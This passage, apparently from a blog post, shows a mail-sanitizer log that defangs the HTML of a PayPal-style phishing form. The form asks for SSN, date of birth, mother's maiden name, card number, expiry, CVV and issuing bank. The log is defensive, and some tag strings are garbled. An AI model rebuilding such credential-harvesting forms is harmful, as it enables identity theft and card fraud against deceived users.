as: >>_DEFANGED_SPAN class=field_<<
Rewrote HTML tag: >>_INPUT size=3 maxlength="3" id=ssn name=jo_<<
as: >>_DEFANGED_INPUT size=3 maxlength="3" id=ssn name=jo_<<
Rewrote HTML tag: >>_INPUT size=2 maxlength="2" id=ssn1 name=k_<<
as: >>_DEFANGED_INPUT size=2 maxlength="2" id=ssn1 name=k_<<
Rewrote HTML tag: >>_INPUT size=4 maxlength="4" id=ssn2 name=mo_<<
as: >>_DEFANGED_INPUT size=4 maxlength="4" id=ssn2 name=mo_<<
Rewrote HTML tag: >>_/SPAN_<<
as: >>_/DEFANGED_SPAN_<<
Rewrote HTML tag: >>_/FIELDSET_<<
as: >>_/DEFANGED_FIELDSET_<<
Rewrote HTML tag: >>_FIELDSET class=multi_<<
as: >>_DEFANGED_FIELDSET class=multi_<<
Rewrote HTML tag: >>_LABEL for=email_<<
as: >>_DEFANGED_LABEL for=email_<<
Rewrote HTML tag: >>_SPAN class=help_<<
as: >>_DEFANGED_SPAN class=help_<<
Rewrote HTML tag: >>_/SPAN_<<
as: >>_/DEFANGED_SPAN_<<
Rewrote HTML tag: >>_/LABEL_<<
as: >>_/DEFANGED_LABEL_<<
Rewrote HTML tag: >>_SPAN class=field_<<
as: >>_DEFANGED_SPAN class=field_<<
Rewrote HTML tag: >>_INPUT size="2" maxlength="2" id=dobm name=n_<<
as: >>_DEFANGED_INPUT size="2" maxlength="2" id=dobm name=n_<<
Rewrote HTML tag: >>_INPUT size="2" maxlength="2" id=dobd name=o_<<
as: >>_DEFANGED_INPUT size="2" maxlength="2" id=dobd name=o_<<
Rewrote HTML tag: >>_INPUT size="4" maxlength="4" id=doby name=p_<<
as: >>_DEFANGED_INPUT size="4" maxlength="4" id=doby name=p_<<
Rewrote HTML tag: >>_/SPAN_<<
as: >>_/DEFANGED_SPAN_<<
Rewrote HTML tag: >>_/FIELDSET_<<
as: >>_/DEFANGED_FIELDSET_<<
Rewrote HTML tag: >>_LABEL for=mmn_<<
as: >>_DEFANGED_LABEL for=mmn_<<
Rewrote HTML tag: >>_/LABEL_<<
as: >>_/DEFANGED_LABEL_<<
Rewrote HTML tag: >>_SPAN class=field_<<
as: >>_DEFANGED_SPAN class=field_<<
Rewrote HTML tag: >>_INPUT class=large id=mmn type=text name=r autocomplete="off"_<<
as: >>_DEFANGED_INPUT class=large id=mmn type=text name=r autocomplete="off"_<<
Rewrote HTML tag: >>_/SPAN_<<
as: >>_/DEFANGED_SPAN_<<
Rewrote HTML tag: >>_LABEL for=cc_<<
as: >>_DEFANGED_LABEL for=cc_<<
Rewrote HTML tag: >>_/LABEL_<<
as: >>_/DEFANGED_LABEL_<<
Rewrote HTML tag: >>_SPAN class=field_<<
as: >>_DEFANGED_SPAN class=field_<<
Rewrote HTML tag: >>_INPUT size="21" maxlength="16" id=cc type=text name=s autocomplete="off"_<<
as: >>_DEFANGED_INPUT size="21" maxlength="16" id=cc type=text name=s autocomplete="off"_<<
Rewrote HTML tag: >>_/SPAN_<<
as: >>_/DEFANGED_SPAN_<<
Rewrote HTML tag: >>_FIELDSET class=multi_<<
as: >>_DEFANGED_FIELDSET class=multi_<<
Rewrote HTML tag: >>_LABEL for=exp_<<
as: >>_DEFANGED_LABEL for=exp_<<
Rewrote HTML tag: >>_SPAN class=help_<<
as: >>_DEFANGED_SPAN class=help_<<
Rewrote HTML tag: >>_/SPAN_<<
as: >>_/DEFANGED_SPAN_<<
Rewrote HTML tag: >>_/LABEL_<<
as: >>_/DEFANGED_LABEL_<<
Rewrote HTML tag: >>_SPAN class=field_<<
as: >>_DEFANGED_SPAN class=field_<<
Rewrote HTML tag: >>_INPUT size="2" maxlength="2" id=expm type=text name=t autocomplete="off"_<<
as: >>_DEFANGED_INPUT size="2" maxlength="2" id=expm type=text name=t autocomplete="off"_<<
Rewrote HTML tag: >>_INPUT size="3" maxlength="4" id=expy type=text name=u autocomplete="off"_<<
as: >>_DEFANGED_INPUT size="3" maxlength="4" id=expy type=text name=u autocomplete="off"_<<
Rewrote HTML tag: >>_/SPAN_<<
as: >>_/DEFANGED_SPAN_<<
Rewrote HTML tag: >>_LABEL for=cvv_<<
as: >>_DEFANGED_LABEL for=cvv_<<
Rewrote HTML tag: >>_SPAN class=help_<<
as: >>_DEFANGED_SPAN class=help_<<
Rewrote HTML tag: >>_a Grow Financial"javascript: " onClick="window.open('https://www.paypal.com/us/cgi-bin/webscr?cmd=p/acc/cvv_info_pop-outside','_blank','width=410,height=470')"_<<
as: >>_a DEFANGED_Grow Financial"javascript: " DEFANGED_onClick="window.open('https://www.paypal.com/us/cgi-bin/webscr?cmd=p/acc/cvv_info_pop-outside','_blank','width=410,height=470')"_<<
Rewrote HTML tag: >>_/SPAN_<<
as: >>_/DEFANGED_SPAN_<<
Rewrote HTML tag: >>_/LABEL_<<
as: >>_/DEFANGED_LABEL_<<
Rewrote HTML tag: >>_SPAN class=field_<<
as: >>_DEFANGED_SPAN class=field_<<
Rewrote HTML tag: >>_INPUT size="3" maxlength="4" id=cvv type=text name=z autocomplete="off"_<<
as: >>_DEFANGED_INPUT size="3" maxlength="4" id=cvv type=text name=z autocomplete="off"_<<
Rewrote HTML tag: >>_/SPAN_<<
as: >>_/DEFANGED_SPAN_<<
Rewrote HTML tag: >>_/FIELDSET_<<
as: >>_/DEFANGED_FIELDSET_<<
Rewrote HTML tag: >>_LABEL for=issuingbank10_<<
as: >>_DEFANGED_LABEL for=issuingbank10_<<
Rewrote HTML tag: >>_/LABEL_<<
as: >>_/DEFANGED_LABEL_<<
Rewrote HTML tag: >>_SPAN class=field_<<
as: >>_DEFANGED_SPAN class=field_<<
Rewrote HTML tag: >>_INPUT size="21" maxlength="21" id=iss type=text name=kk autocomplete="off"_<<
as: >>_DEFANGED_INPUT size="21" maxlength="21" id=iss type=text name=kk autocomplete="off"_<<
Rewrote HTML tag: >>_/SPAN_<<
as: >>_/DEFANGED_SPAN_<<
Rewrote HTML tag: >>_A onclick="PAYPAL.core.openWindow(event, {width: 640, height: 300, name: '_blank', location: 0,scrollbar: 0, toolbar: 0, resizable: 1 })" Grow Financial"https://www.paypal.com/us/cgi-bin/webscr?cmd=p/gen/ua/ua_pop-outside&popup=1" target=_blank_<<
as: >>_A DEFANGED_onclick="PAYPAL.core.openWindow(event, {width: 640, height: 300, name: '_blank', location: 0,scrollbar: 0, toolbar: 0, resizable: 1 })" DEFANGED_Grow Financial"https://www.paypal.com/us/cgi-bin/webscr?cmd=p/gen/ua/ua_pop-outside&popup=1" target="_blank"_<<
Rewrote HTML tag: >>_A onclick="PAYPAL.core.openWindow(event, {width: 640, height: 300, name: '_blank', location: 0,scrollbar: 0, toolbar: 0, resizable: 1 })" Grow Financial"https://www.paypal.com/us/cgi-bin/webscr?cmd=p/gen/ua/policy_privacy_pop-outside&popup=1" target=_blank_<<
as: >>_A DEFANGED_onclick="PAYPAL.core.openWindow(event, {width: 640, height: 300, name: '_blank', location: 0,scrollbar: 0, toolbar: 0, resizable: 1 })" DEFANGED_Grow Financial"https://www.paypal.com/us/cgi-bin/webscr?cmd=p/gen/ua/policy_privacy_pop-outside&popup=1" target="_blank"_<<
Rewrote HTML tag: >>_BUTTON class=primary id=next.x name=next.x type=submit_<<
as: >>_DEFANGED_BUTTON class=primary id=next.x name=next.x type=submit_<<
Rewrote HTML tag: >>_/BUTTON_<<
as: >>_/DEFANGED_BUTTON_<<
Rewrote HTML tag: >>_INPUT type=hidden value=UTF-8 name=form_charset_<<
as: >>_DEFANGED_INPUT type=hidden value=UTF-8 name=form_charset_<<
Rewrote HTML tag: >>_/FORM_<<
as: >>_/DEFANGED_FORM_<<
Rewrote HTML tag: >>_/DIV_<<
as: >>_/p__DEFANGED_DIV_<<
Rewrote HTML tag: >>_/DIV_<<
as: >>_/p__DEFANGED_DIV_<<
Rewrote HTML tag: >>_/DIV_<<
as: >>_/p__DEFANGED_DIV_<<
Rewrote HTML tag: >>_DIV id=footer_<<
as: >>_p__DEFANGED_DIV id=footer_<<
Rewrote HTML tag: >>_SCRIPT language=JavaScript type=text/javascript_<<
as: >>_DEFANGED_SCRIPT language=JavaScript type=text/javascript_<<
Rewrote HTML tag: >>_/SCRIPT_<<
as: >>_/DEFANGED_SCRIPT_<<
Rewrote HTML tag: >>_/DIV_<<
as: >>_/p__DEFANGED_DIV_<<
Total modifications so far: 169
Anomy 0.0.0 : Sanitizer.pm
$Id: Sanitizer.pm,v 1.94 2006/01/02 16:43:10 bre Exp $
--==frontier==
Trackbacks
Trackback specific URI for this entryThis link is not meant to be clicked. It contains the trackback URI for this entry. You can use this URI to send ping- & trackbacks from your own blog to this entry. To copy the link, right click and select "Copy Shortcut" in Internet Explorer or "Copy Link Location" in Mozilla.
No Trackbacks
Comments
Display comments as Linear | ThreadedNo comments